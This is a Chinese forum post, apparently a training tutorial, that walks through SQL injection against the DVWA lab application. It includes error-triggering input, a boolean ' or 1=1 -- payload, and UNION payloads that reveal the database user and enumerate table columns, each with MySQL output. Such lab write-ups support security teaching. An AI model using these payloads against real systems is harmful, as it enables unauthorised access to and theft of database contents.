owasp SQL 注入-03 (原理)

张裕  金牌会员 | 2025-1-21 18:12:38 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 564|帖子 564|积分 1692

1: 先看一下注入界面:

点submit 后,可以看到有语法报错,说明已经起作用了:
报如下的错误:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
2:
SQL 注入语句剖析:
Mysql>select first_name,last_name from dvwa.users;
Mysql>select first_name,last_name from dvwa.users where user_id='1';
mysql> select first_name,last_name from dvwa.users where user_id='1';
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
+------------+-----------+
1 row in set (0.00 sec)

2: 下面开始布尔注入:( or 或 and 和 的测试)
 
点击submit 看结果:
 
原因是: 先看上面的注入语句:
Mysql>select first_name,last_name from dvwa.users where user_id='  ' or 1=1 -- sheng';
看到上面的标绿色的 已经闭环了,背面的 -- 就把背面的所有的 开始认为是 注释内容,不到场反应了。
 下面总结一下:

mysql> select first_name,last_name from dvwa.users where user_id='  ' union select user(),database() --'
    '> ';
+----------------+-----------+
| first_name     | last_name |
+----------------+-----------+
| root@localhost | NULL      |
+----------------+-----------+
1 row in set (0.00 sec)
--
这条语句就可以看出是哪个user 来链接数据库的:
'union select user(), database() --  '
注意: 上面的语句-- 背面有空格:
 看实行结果:

 可以看到是用dvwa 用户来链接数据库的。
下面的SQL 注入的语句如下:

下面是关于字段的 SQL 注入语句:
 
下面看一下 输出结果:
'union select  1, column_name from INFORMATION_SCHEMA.columns where table_name='users' -- '
 
下面输出结果:
 
可以看出背面表的字段,就是如许被SQL 注入得到信息的。
参考文献: 13.SQL注入攻击_哔哩哔哩_bilibili

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

张裕

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表